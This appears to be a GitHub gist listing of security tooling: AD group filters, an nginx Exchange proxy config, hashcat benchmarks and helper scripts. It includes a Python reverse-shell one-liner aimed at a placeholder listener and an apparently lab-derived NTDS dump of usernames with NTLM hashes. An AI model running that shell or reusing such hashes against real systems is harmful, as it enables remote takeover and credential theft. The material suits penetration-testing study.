Skip to content

Instantly share code, notes, and snippets.

View crypt0rr's full-sized avatar
🚀

Bart crypt0rr

🚀
View GitHub Profile
@crypt0rr
crypt0rr / highprivfilter.sh
Last active November 22, 2021 12:14
LDAPDomainDump High-Priv filter
#!/bin/bash
GROUPLIST=("Domain Admins" "Enterprise Admins" "Administrators" "Schema Admins" "Backup Operators" "Account Operators" "DNS Admins")
for GROUP in ${!GROUPLIST[*]}
do
printf "%s\n" "${GROUPLIST[$GROUP]} contains:"
grep -w "${GROUPLIST[$GROUP]}" domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3}' | sort && echo ""
done
@crypt0rr
crypt0rr / exchange.conf
Created November 22, 2021 13:04
Configuration for Microsoft Exchange Server (2010 / 2013 / 2016) behind a (free) nginx reverse proxy. This config allows things like Microsoft ActiveSync.
server {
listen 80;
server_name mail.example.com;
return 301 https://mail.example.com;
}
server {
listen 443 ssl http2;
server_name mail.example.com autodiscover.example.com;
@crypt0rr
crypt0rr / array.sh
Created January 13, 2022 14:39
Objective Development Little Snitch - Simple '.lsrules' creating scripts
#!/bin/bash
curl -s https://dbl.oisd.nl/basic -o tmp_out && sed '/#/d' tmp_out > input
echo '{
"description": "",
"name": "",
"rules": [
{
"action": "deny",
"notes": "",
@crypt0rr
crypt0rr / oneliner.py
Last active October 17, 2022 12:30
python2-oneliner-reverse-shell
python2.7 -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<<LISTERNER-IP>>",<<LISTERNER-PORT>>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
@crypt0rr
crypt0rr / HTTPServerWithUpload.py
Created November 24, 2022 14:34
HTTPServerWithUpload.py - Copy from @tjnull
#!/usr/bin/env python3
"""Simple HTTP Server With Upload Capabilities.
Arguments:
python3 HTTPServerWithUpload.py -p 80
python3 HTTPServerWithUpload.py --port 80
"""
@crypt0rr
crypt0rr / hashcat_v6.2.6_NVIDIA_m1200_benchmark.txt
Created March 16, 2023 15:55
hashcat_v6.2.6_NVIDIA_m1200_benchmark
hashcat (v6.2.6-123-gc35d8ecfd) starting in benchmark mode
* Device #1: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
* Device #2: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
CUDA API (CUDA 12.0)
====================
@crypt0rr
crypt0rr / hashcat_v6.2.6_Apple_m2pro_benchmark.txt
Created March 17, 2023 14:54
hashcat_v6.2.6_Apple_m2pro_benchmark
hashcat (v6.2.6-304-g1ac309149) starting in benchmark mode
Benchmarking uses hand-optimized kernel code by default.
You can use it in your cracking session by setting the -O option.
Note: Using optimized kernel code limits the maximum supported password length.
To disable the optimized kernel code in benchmark mode, use the -w option.
The device #1 has been disabled as it most likely also exists as an OpenCL device, but it is not possible to automatically map it.
You can use -d 1 to use Metal API instead of OpenCL API. In some rare cases this is more stable.
@crypt0rr
crypt0rr / hashcat_v6.2.6_Apple_m1pro_benchmark.txt
Created March 17, 2023 14:56
hashcat_v6.2.6_Apple_m1pro_benchmark
hashcat (v6.2.6) starting in benchmark mode
Benchmarking uses hand-optimized kernel code by default.
You can use it in your cracking session by setting the -O option.
Note: Using optimized kernel code limits the maximum supported password length.
To disable the optimized kernel code in benchmark mode, use the -w option.
* Device #2: Apple's OpenCL drivers (GPU) are known to be unreliable.
You have been warned.
@crypt0rr
crypt0rr / wordcloud.py
Last active October 4, 2023 19:00
wordcloud.py
# Requirements: python3 -m pip install wordcloud matplotlib
import matplotlib.pyplot as plt
from wordcloud import WordCloud
# Your text data (replace this with your own text)
text = """
"Access Control"
"Application Security"
"Assessment"
@crypt0rr
crypt0rr / ntds-dump-f1.offsec.nl.txt
Last active April 1, 2024 14:49
Example NTDS.dit extracted
Administrator:500:aad3b435b51404eeaad3b435b51404ee:97f2592347d8fbe42be381726ff9ea83:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:bbbbcf5d3fcb24d91698cd17dd0d640e:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f00c75a12fefab106e16c74c082b843:::
f1.offsec.nl\BRIDGETTE_CALLAHAN:1602:aad3b435b51404eeaad3b435b51404ee:6bdb94707d98ac9eb486989d1dbf6b0d:::
f1.offsec.nl\TORY_CERVANTES:1603:aad3b435b51404eeaad3b435b51404ee:140ec540c41944ea5dedb89a58cd92f1:::
f1.offsec.nl\REBEKAH_PETERSEN:1604:aad3b435b51404eeaad3b435b51404ee:db12cfb6302db93179eaf050a8439fa8:::
f1.offsec.nl\RICKEY_HIGGINS:1605:aad3b435b51404eeaad3b435b51404ee:1d6793803e52e071bd01d68308f6d2fd:::
f1.offsec.nl\DANE_NICHOLSON:1606:aad3b435b51404eeaad3b435b51404ee:81b78933ac37de73c40cf223ada25386:::
f1.offsec.nl\LUKE_ROWLAND:1607:aad3b435b51404eeaad3b435b51404ee:72c4becebddbf5f97aa07ed84e3896cf:::
f1.offsec.nl\CLIFF_ENGLAND:1608:aad3b435b51404eeaad3b435b51404ee:8419e3e6597b3a79279d5df9cb7719e4:::